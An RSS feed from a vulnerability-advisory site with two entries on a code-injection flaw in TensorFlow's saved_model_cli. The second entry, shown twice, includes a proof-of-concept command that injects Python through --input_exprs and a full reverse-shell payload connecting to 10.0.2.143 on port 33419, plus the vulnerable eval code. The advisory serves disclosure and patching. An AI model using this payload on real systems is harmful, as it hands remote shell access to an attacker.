<?xml version='1.0' encoding='UTF-8'?>
<?xml-stylesheet href="/static/style.xsl" type="text/xsl"?>
<rss xmlns:atom="http://www.w3.org/2005/Atom" xmlns:content="http://purl.org/rss/1.0/modules/content/" version="2.0">
  <channel>
    <title>Most recent entries from all</title>
    <link>https://cve.radiocsirt.org</link>
    <description>Contains only the most 10 recent entries.</description>
    <docs>http://www.rssboard.org/rss-specification</docs>
    <generator>python-feedgen</generator>
    <language>en</language>
    <lastBuildDate>Sat, 24 Oct 2026 07:01:29 +0000</lastBuildDate>
    <item>
      <title>CVE-2022-29216 — Code injection in `saved_model_cli` in TensorFlow</title>
      <link>https://cve.radiocsirt.org/vuln/cve-2022-29216</link>
      <description>&lt;p&gt;&lt;strong&gt;Affected:&lt;/strong&gt; tensorflow&lt;/p&gt;
&lt;p&gt;TensorFlow is an open source platform for machine learning. Prior to versions 2.9.0, 2.8.1, 2.7.2, and 2.6.4, TensorFlow&amp;#39;s `saved_model_cli` tool is vulnerable to a code injection. This can be used to open a reverse shell. This code path was maintained for compatibility reasons as the maintainers had several test cases where numpy expressions were used as arguments. However, given that the tool is always run manually, the impact of this is still not severe. The maintainers have now removed the `safe=False` argument, so all parsing is done without calling `eval`. The patch is available in versions 2.9.0, 2.8.1, 2.7.2, and 2.6.4.&lt;/p&gt;</description>
      <content:encoded>&lt;p&gt;&lt;strong&gt;Affected:&lt;/strong&gt; tensorflow&lt;/p&gt;
&lt;p&gt;TensorFlow is an open source platform for machine learning. Prior to versions 2.9.0, 2.8.1, 2.7.2, and 2.6.4, TensorFlow&amp;#39;s `saved_model_cli` tool is vulnerable to a code injection. This can be used to open a reverse shell. This code path was maintained for compatibility reasons as the maintainers had several test cases where numpy expressions were used as arguments. However, given that the tool is always run manually, the impact of this is still not severe. The maintainers have now removed the `safe=False` argument, so all parsing is done without calling `eval`. The patch is available in versions 2.9.0, 2.8.1, 2.7.2, and 2.6.4.&lt;/p&gt;</content:encoded>
      <guid isPermaLink="false">https://cve.radiocsirt.org/vuln/cve-2022-29216</guid>
    </item>
    <item>
      <title>PYSEC-2026-3125 — Code injection in `saved_model_cli` in TensorFlow</title>
      <link>https://cve.radiocsirt.org/vuln/pysec-2026-3125</link>
      <description>&lt;p&gt;&lt;strong&gt;Affected:&lt;/strong&gt; PyPI: tensorflow&lt;/p&gt;
&lt;p&gt;### Impact
TensorFlow&amp;#39;s `saved_model_cli` tool is vulnerable to a code injection:&lt;/p&gt;
&lt;p&gt;```
saved_model_cli run --input_exprs &amp;#39;x=print(&amp;#34;malicious code to run&amp;#34;)&amp;#39; --dir ./
--tag_set serve --signature_def serving_default
```&lt;/p&gt;
&lt;p&gt;This can be used to open a reverse shell&lt;/p&gt;
&lt;p&gt;```
saved_model_cli run --input_exprs &amp;#39;hello=exec(&amp;#34;&amp;#34;&amp;#34;\nimport socket\nimport
subprocess\ns=socket.socket(socket.AF_INET,socket.SOCK_STREAM)\ns.connect((&amp;#34;10.0.2.143&amp;#34;,33419))\nsubprocess.call([&amp;#34;/bin/sh&amp;#34;,&amp;#34;-i&amp;#34;],stdin=s.fileno(),stdout=s.fileno(),stderr=s.fileno())&amp;#34;&amp;#34;&amp;#34;)&amp;#39;
--dir ./ --tag_set serve --signature_def serving_default
```&lt;/p&gt;
&lt;p&gt;This is because [the fix](https://github.com/tensorflow/tensorflow/commit/8b202f08d52e8206af2bdb2112a62fafbc546ec7) for [CVE-2021-41228](https://nvd.nist.gov/vuln/detail/CVE-2021-41228) was incomplete. Under [certain code paths](https://github.com/tensorflow/tensorflow/blob/f3b9bf4c3c0597563b289c0512e98d4ce81f886e/tensorflow/python/tools/saved_model_cli.py#L566-L574) it still allows unsafe execution:&lt;/p&gt;
&lt;p&gt;```python
def preprocess_input_exprs_arg_string(input_exprs_str, safe=True):
  # ...&lt;/p&gt;
&lt;p&gt;for input_raw in filter(bool, input_exprs_str.split(&amp;#39;;&amp;#39;)):
    # ...
    if safe:
      # ...
    else:
      # ast.literal_eval does not work with numpy expressions
      input_dict[input_key] = eval(expr)  # pylint: disable=eval-used
  return input_dict
```&lt;/p&gt;
&lt;p&gt;This code path was maintained for compatibility reasons as we had several test cases where numpy expressions were used…&lt;/p&gt;</description>
      <content:encoded>&lt;p&gt;&lt;strong&gt;Affected:&lt;/strong&gt; PyPI: tensorflow&lt;/p&gt;
&lt;p&gt;### Impact
TensorFlow&amp;#39;s `saved_model_cli` tool is vulnerable to a code injection:&lt;/p&gt;
&lt;p&gt;```
saved_model_cli run --input_exprs &amp;#39;x=print(&amp;#34;malicious code to run&amp;#34;)&amp;#39; --dir ./
--tag_set serve --signature_def serving_default
```&lt;/p&gt;
&lt;p&gt;This can be used to open a reverse shell&lt;/p&gt;
&lt;p&gt;```
saved_model_cli run --input_exprs &amp;#39;hello=exec(&amp;#34;&amp;#34;&amp;#34;\nimport socket\nimport
subprocess\ns=socket.socket(socket.AF_INET,socket.SOCK_STREAM)\ns.connect((&amp;#34;10.0.2.143&amp;#34;,33419))\nsubprocess.call([&amp;#34;/bin/sh&amp;#34;,&amp;#34;-i&amp;#34;],stdin=s.fileno(),stdout=s.fileno(),stderr=s.fileno())&amp;#34;&amp;#34;&amp;#34;)&amp;#39;
--dir ./ --tag_set serve --signature_def serving_default
```&lt;/p&gt;
&lt;p&gt;This is because [the fix](https://github.com/tensorflow/tensorflow/commit/8b202f08d52e8206af2bdb2112a62fafbc546ec7) for [CVE-2021-41228](https://nvd.nist.gov/vuln/detail/CVE-2021-41228) was incomplete. Under [certain code paths](https://github.com/tensorflow/tensorflow/blob/f3b9bf4c3c0597563b289c0512e98d4ce81f886e/tensorflow/python/tools/saved_model_cli.py#L566-L574) it still allows unsafe execution:&lt;/p&gt;
&lt;p&gt;```python
def preprocess_input_exprs_arg_string(input_exprs_str, safe=True):
  # ...&lt;/p&gt;
&lt;p&gt;for input_raw in filter(bool, input_exprs_str.split(&amp;#39;;&amp;#39;)):
    # ...
    if safe:
      # ...
    else:
      # ast.literal_eval does not work with numpy expressions
      input_dict[input_key] = eval(expr)  # pylint: disable=eval-used
  return input_dict
```&lt;/p&gt;
&lt;p&gt;This code path was maintained for compatibility reasons as we had several test cases where numpy expressions were used…&lt;/p&gt;</content:encoded>
      <guid isPermaLink="false">https://cve.radiocsirt.org/vuln/pysec-2026-3125</guid>
    </item>
  </channel>
</rss>
